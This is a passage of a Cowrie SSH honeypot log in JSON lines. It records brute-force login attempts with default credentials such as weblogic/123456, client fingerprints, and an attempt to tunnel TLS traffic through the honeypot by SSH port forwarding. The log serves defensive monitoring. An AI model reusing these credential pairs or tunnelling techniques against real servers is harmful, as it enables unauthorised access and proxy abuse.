no-cache\\r\\n\\r\\n_=NC9ARVh4UFp4RnRDUlJINg%3D%3Dkv%2Bu39wTvMEoiPuZay4VKEYq2%2BFVSpAJvmYR3bHg6kqjb%2BDlp49LHJ9UD1t8Bb7nEKZ6Xd1xOp%2Fx5df0ImVT7pMkriRTJEjjmocyeeXvCPpt85T8dL6Iynp7UyHtTW3pJwIddG%2BgUmxtJ5TWWgtQ7T%2FPTzcf%2B9A6XKC1%2Bi2Y52%2BJw7PFAhbsSBVcdnYX6N4gewZO3AsurmvmDEc8FErfK9HU9huQs4Wf9OZXgjs6zN8XnQvNTGzYbiGrEPC2bWBjkAdAwbp52k%2BssebAOuzX44zOCgeXyuEFgto8advOzpWR7KFg48LpxHK5VMyO6rIDlMS3rBU3kCPyEKg0wvubTTlc8of0AXzdl8rDKhxE%2BgjEXgUgiqAhM4TUmzJA4G4DAbCQ%2FH85CSFYIRH2LnwsnGiMOB08%2BhSttxGhytX6pbmHK0J8B6yGbd%2F0yJpvSO6hDwu1vpN%2BRtQRwdXRMfcA69gVC%2FXP6BptpjE3AQcbHPCV4EZn93B%2BP%2BllDE%2B5CWilniMIj5qAOYNwVqhuMJ6%2FI9jqgISlmv97YlbwGJ74JWu8zZCB%2F6QKDt3XTZkD9aO5bKl51WIreJtl2ooDVabeyj3LY6b%2BAMSVNJqoM%2BjlnCcfdxBYnmY2TWQVzx1KCxrxuL10J0P8VS9ZvPdSAuhPNyHoT%2BwpcW8Z90U33Rp1El8Qrg9i2ceEAMEbiCPALhCLdtcQU4v%2FfBI87igS0PfdkIaea8Kb3wrmIjgxx%2FKPg5dg9OapweZq3ZvZvNxqHkG0Lqx0AVID3b6ZGu86PDF6F%2BGwoELSyFQBS6%2F4P%2BC0amq%2BuwJz4vgvQAGImDLVSmKdl1K%2FXGxdrkr6mgRGSCjVY6JDWM9jB1AMvJtTRh1nl25GopUMzBCl3jwNK%2FaFELUhwgNkPKLMJZaPtWghAhh2BNVM%2BCrK9K0soUJ94NsrT%2FP8kz4VThVSlFxw2zanzpkquPMbCvEGFs1Hl6ctj74xNblj63eGjfk7FhpQZcXPLmnEYBi4OSuP0KYfkqeq0pzMK1Q65R%2F%2FaSMJjNAj6zIePsLALWYQnX%2F6P6yv44xUTkfG2U4a33dWFFy5k6v8zqlk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:33.561781Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:34.309260Z","src_ip":"45.153.34.195","session":"5dc51dce3291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11004,"dst_ip":"10.17.0.5","dst_port":22,"session":"e251096fe104","protocol":"ssh","message":"New connection: 91.92.40.36:11004 (10.17.0.5:22) [session: e251096fe104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:34.878013Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37206,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11d483509f4","protocol":"ssh","message":"New connection: 45.153.34.195:37206 (10.17.0.5:22) [session: d11d483509f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:35.613610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:35.621994Z","src_ip":"45.153.34.195","session":"d11d483509f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:35.717297Z","src_ip":"45.153.34.195","session":"d11d483509f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"123456","message":"login attempt [weblogic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:36.154629Z","src_ip":"45.153.34.195","session":"d11d483509f4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:37.002295Z","src_ip":"91.92.40.36","session":"e251096fe104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:37.008643Z","src_ip":"91.92.40.36","session":"e251096fe104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:37.062550Z","src_ip":"91.92.40.36","session":"ce495b5350b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:37.239844Z","src_ip":"45.153.34.195","session":"d11d483509f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3735e1552eac","protocol":"ssh","message":"New connection: 45.153.34.195:37238 (10.17.0.5:22) [session: 3735e1552eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:38.509834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:38.514292Z","src_ip":"45.153.34.195","session":"3735e1552eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:38.605639Z","src_ip":"45.153.34.195","session":"3735e1552eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:38.852222Z","src_ip":"45.153.34.195","session":"3735e1552eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:39.938705Z","src_ip":"45.153.34.195","session":"3735e1552eac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.706011Z","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":58240,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf76f2fbc35","protocol":"ssh","message":"New connection: 101.36.122.139:58240 (10.17.0.5:22) [session: 4bf76f2fbc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.745454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.750370Z","src_ip":"101.36.122.139","session":"4bf76f2fbc35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.827109Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H(\\xf6\\xa5\\x7f\\x80D\\xc5\\xfa\\xb6HY\\x0f\\xec\\xde\\\\]\\x9a\\xf5\\x14\\x86p6\\xe1\\x8b@0jT\\xf1(\\xe8 F\\x13\\xfff\\xecJ\\x1b\\x87fL\\xb7L\\x93\\xad\\x06\\xaa\\x94\\xdc\\x13OK\\x9atIl*ED\\xa0\\x82j\\xe8\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0\"(y\\xae\\r\\xaf\\x90\\x15\\x0ff`\\x8b\\xbb\\xe6\\xe2\\x95S\\xd5\\x10O\\xdc7]3\\x9f\\xb3\\xfdZc\\xa0q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H(\\xf6\\xa5\\x7f\\x80D\\xc5\\xfa\\xb6HY\\x0f\\xec\\xde\\\\]\\x9a\\xf5\\x14\\x86p6\\xe1\\x8b@0jT\\xf1(\\xe8 F\\x13\\xfff\\xecJ\\x1b\\x87fL\\xb7L\\x93\\xad\\x06\\xaa\\x94\\xdc\\x13OK\\x9atIl*ED\\xa0\\x82j\\xe8\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0\"(y\\xae\\r\\xaf\\x90\\x15\\x0ff`\\x8b\\xbb\\xe6\\xe2\\x95S\\xd5\\x10O\\xdc7]3\\x9f\\xb3\\xfdZc\\xa0q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.830315Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.892115Z","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.949120Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xe4\\xe8\\x1e\\x17\\xef\\x04\\xed\\x81\\xd6k#Wo\\xfc\\xcd\\xc4\\xae\\x11\\xdfy+2\\xe9._\\xedJ\\xd7\\x13gD \\xea\\xc2\\xedB\\x93\\x93\\x83\\x8e\\xf3\\x8e_\\x0c\\x9d\\xb6\\xb8\\xff\\xf1\\xd6#\\xff\\x84\\x06[;\\x85\\xf3\\xb3\\xdcs\\xb7Y/\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 M\\xbd\\x84\\x7f\\xeb:\\xa4(6\\x0c\\xf1\\xed\\xb4\\xf5T\\x910\\xc9\\x01\\x1c=\\xd6I\\xbb_bG\\x9e\\x98\\xd3\\xaeU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xe4\\xe8\\x1e\\x17\\xef\\x04\\xed\\x81\\xd6k#Wo\\xfc\\xcd\\xc4\\xae\\x11\\xdfy+2\\xe9._\\xedJ\\xd7\\x13gD \\xea\\xc2\\xedB\\x93\\x93\\x83\\x8e\\xf3\\x8e_\\x0c\\x9d\\xb6\\xb8\\xff\\xf1\\xd6#\\xff\\x84\\x06[;\\x85\\xf3\\xb3\\xdcs\\xb7Y/\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 